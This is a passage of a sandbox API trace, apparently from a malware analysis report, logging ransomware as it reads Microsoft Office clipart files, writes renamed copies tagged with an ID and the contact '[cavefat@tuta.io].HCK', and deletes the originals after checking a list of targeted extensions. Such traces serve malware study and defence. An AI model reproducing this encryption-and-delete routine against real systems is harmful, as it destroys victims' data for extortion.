returned 1 [0171.831] WriteFile (in: hFile=0x360, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3560, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3560, lpOverlapped=0x0) returned 1 [0171.832] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.832] WriteFile (in: hFile=0x360, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.832] SetEndOfFile (hFile=0x360) returned 1 [0171.838] CloseHandle (hObject=0x360) returned 1 [0171.839] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.839] SetEndOfFile (hFile=0x388) returned 1 [0171.843] CloseHandle (hObject=0x388) returned 1 [0171.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.844] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285796.wmf")) returned 1 [0171.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF") returned 68 [0171.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF") returned 68 [0171.846] lstrlenW (lpString=".doc") returned 4 [0171.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.846] lstrlenW (lpString=".docx") returned 5 [0171.846] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0171.846] lstrlenW (lpString=".pdf") returned 4 [0171.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.846] lstrlenW (lpString=".xls") returned 4 [0171.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.846] lstrlenW (lpString=".xlsx") returned 5 [0171.846] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0171.846] lstrlenW (lpString=".ppt") returned 4 [0171.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF") returned 68 [0171.846] lstrlenW (lpString=".zip") returned 4 [0171.847] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.847] lstrlenW (lpString=".rar") returned 4 [0171.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.847] lstrlenW (lpString=".bz2") returned 4 [0171.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.847] lstrlenW (lpString=".7z") returned 3 [0171.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF") returned 68 [0171.847] lstrlenW (lpString=".dbf") returned 4 [0171.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF") returned 68 [0171.847] lstrlenW (lpString=".1cd") returned 4 [0171.847] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF") returned 68 [0171.847] lstrlenW (lpString=".jpg") returned 4 [0171.847] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF") returned 68 [0171.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF") returned 68 [0171.847] lstrlenW (lpString=".doc") returned 4 [0171.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.847] lstrlenW (lpString=".docx") returned 5 [0171.847] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0171.847] lstrlenW (lpString=".pdf") returned 4 [0171.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.847] lstrlenW (lpString=".xls") returned 4 [0171.847] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.847] lstrlenW (lpString=".xlsx") returned 5 [0171.847] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0171.847] lstrlenW (lpString=".ppt") returned 4 [0171.847] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF") returned 68 [0171.847] lstrlenW (lpString=".zip") returned 4 [0171.847] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.847] lstrlenW (lpString=".rar") returned 4 [0171.847] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.847] lstrlenW (lpString=".bz2") returned 4 [0171.847] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.847] lstrlenW (lpString=".7z") returned 3 [0171.847] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF") returned 68 [0171.847] lstrlenW (lpString=".dbf") returned 4 [0171.847] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF") returned 68 [0171.848] lstrlenW (lpString=".1cd") returned 4 [0171.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285796.WMF") returned 68 [0171.848] lstrlenW (lpString=".jpg") returned 4 [0171.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.848] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.848] lstrlenW (lpString="J0287018.WMF") returned 12 [0171.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287018.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0171.849] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=30872) returned 1 [0171.849] CloseHandle (hObject=0x3a8) returned 1 [0171.850] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287018.wmf")) returned 0x220 [0171.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287018.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287018.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0171.857] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.857] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287018.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0171.862] GetLastError () returned 0x0 [0171.862] ReadFile (in: hFile=0x354, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7898, lpOverlapped=0x0) returned 1 [0171.866] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x78a0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x78a0, lpOverlapped=0x0) returned 1 [0171.867] ReadFile (in: hFile=0x354, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.867] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.867] SetEndOfFile (hFile=0x394) returned 1 [0171.870] CloseHandle (hObject=0x394) returned 1 [0171.872] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.872] SetEndOfFile (hFile=0x354) returned 1 [0171.875] CloseHandle (hObject=0x354) returned 1 [0171.876] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.876] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287018.wmf")) returned 1 [0171.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF") returned 68 [0171.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF") returned 68 [0171.878] lstrlenW (lpString=".doc") returned 4 [0171.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.878] lstrlenW (lpString=".docx") returned 5 [0171.878] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0171.878] lstrlenW (lpString=".pdf") returned 4 [0171.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.878] lstrlenW (lpString=".xls") returned 4 [0171.878] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.878] lstrlenW (lpString=".xlsx") returned 5 [0171.878] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0171.878] lstrlenW (lpString=".ppt") returned 4 [0171.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF") returned 68 [0171.878] lstrlenW (lpString=".zip") returned 4 [0171.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.878] lstrlenW (lpString=".rar") returned 4 [0171.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.878] lstrlenW (lpString=".bz2") returned 4 [0171.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.878] lstrlenW (lpString=".7z") returned 3 [0171.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF") returned 68 [0171.878] lstrlenW (lpString=".dbf") returned 4 [0171.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF") returned 68 [0171.878] lstrlenW (lpString=".1cd") returned 4 [0171.878] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF") returned 68 [0171.878] lstrlenW (lpString=".jpg") returned 4 [0171.878] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF") returned 68 [0171.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF") returned 68 [0171.878] lstrlenW (lpString=".doc") returned 4 [0171.878] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.878] lstrlenW (lpString=".docx") returned 5 [0171.878] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0171.878] lstrlenW (lpString=".pdf") returned 4 [0171.878] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.878] lstrlenW (lpString=".xls") returned 4 [0171.878] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.878] lstrlenW (lpString=".xlsx") returned 5 [0171.879] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0171.879] lstrlenW (lpString=".ppt") returned 4 [0171.879] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF") returned 68 [0171.879] lstrlenW (lpString=".zip") returned 4 [0171.879] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.879] lstrlenW (lpString=".rar") returned 4 [0171.879] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.879] lstrlenW (lpString=".bz2") returned 4 [0171.879] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.879] lstrlenW (lpString=".7z") returned 3 [0171.879] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF") returned 68 [0171.879] lstrlenW (lpString=".dbf") returned 4 [0171.879] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF") returned 68 [0171.879] lstrlenW (lpString=".1cd") returned 4 [0171.879] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.879] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287018.WMF") returned 68 [0171.879] lstrlenW (lpString=".jpg") returned 4 [0171.879] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.879] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.879] lstrlenW (lpString="J0287408.WMF") returned 12 [0171.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287408.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0171.883] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=52496) returned 1 [0171.883] CloseHandle (hObject=0x308) returned 1 [0171.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287408.wmf")) returned 0x220 [0171.887] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287408.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287408.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0171.895] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.895] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287408.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0171.903] GetLastError () returned 0x0 [0171.903] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xcd10, lpOverlapped=0x0) returned 1 [0171.907] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xcd20, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xcd20, lpOverlapped=0x0) returned 1 [0171.908] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.908] WriteFile (in: hFile=0x3b0, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.908] SetEndOfFile (hFile=0x3b0) returned 1 [0171.913] CloseHandle (hObject=0x3b0) returned 1 [0171.914] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.914] SetEndOfFile (hFile=0x39c) returned 1 [0171.917] CloseHandle (hObject=0x39c) returned 1 [0171.917] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.918] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287408.wmf")) returned 1 [0171.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF") returned 68 [0171.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF") returned 68 [0171.920] lstrlenW (lpString=".doc") returned 4 [0171.920] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.920] lstrlenW (lpString=".docx") returned 5 [0171.920] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0171.920] lstrlenW (lpString=".pdf") returned 4 [0171.920] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.920] lstrlenW (lpString=".xls") returned 4 [0171.920] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.920] lstrlenW (lpString=".xlsx") returned 5 [0171.920] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0171.920] lstrlenW (lpString=".ppt") returned 4 [0171.920] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF") returned 68 [0171.920] lstrlenW (lpString=".zip") returned 4 [0171.920] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.921] lstrlenW (lpString=".rar") returned 4 [0171.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.921] lstrlenW (lpString=".bz2") returned 4 [0171.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.921] lstrlenW (lpString=".7z") returned 3 [0171.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF") returned 68 [0171.921] lstrlenW (lpString=".dbf") returned 4 [0171.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF") returned 68 [0171.921] lstrlenW (lpString=".1cd") returned 4 [0171.921] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF") returned 68 [0171.921] lstrlenW (lpString=".jpg") returned 4 [0171.921] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF") returned 68 [0171.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF") returned 68 [0171.921] lstrlenW (lpString=".doc") returned 4 [0171.921] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.921] lstrlenW (lpString=".docx") returned 5 [0171.921] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0171.921] lstrlenW (lpString=".pdf") returned 4 [0171.921] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.921] lstrlenW (lpString=".xls") returned 4 [0171.921] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.921] lstrlenW (lpString=".xlsx") returned 5 [0171.921] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0171.921] lstrlenW (lpString=".ppt") returned 4 [0171.921] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF") returned 68 [0171.921] lstrlenW (lpString=".zip") returned 4 [0171.921] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.921] lstrlenW (lpString=".rar") returned 4 [0171.921] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.921] lstrlenW (lpString=".bz2") returned 4 [0171.921] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.921] lstrlenW (lpString=".7z") returned 3 [0171.921] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF") returned 68 [0171.921] lstrlenW (lpString=".dbf") returned 4 [0171.921] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF") returned 68 [0171.921] lstrlenW (lpString=".1cd") returned 4 [0171.922] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287408.WMF") returned 68 [0171.922] lstrlenW (lpString=".jpg") returned 4 [0171.922] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.922] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0171.922] lstrlenW (lpString="J0287642.JPG") returned 12 [0171.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287642.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0171.926] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=17105) returned 1 [0171.926] CloseHandle (hObject=0x3b0) returned 1 [0171.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287642.jpg")) returned 0x220 [0171.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287642.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287642.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0171.941] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.941] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0287642.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0287642.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0171.944] GetLastError () returned 0x0 [0171.944] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x42d1, lpOverlapped=0x0) returned 1 [0171.947] WriteFile (in: hFile=0x374, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x42e0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x42e0, lpOverlapped=0x0) returned 1 [0171.947] ReadFile (in: hFile=0x3ac, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.947] WriteFile (in: 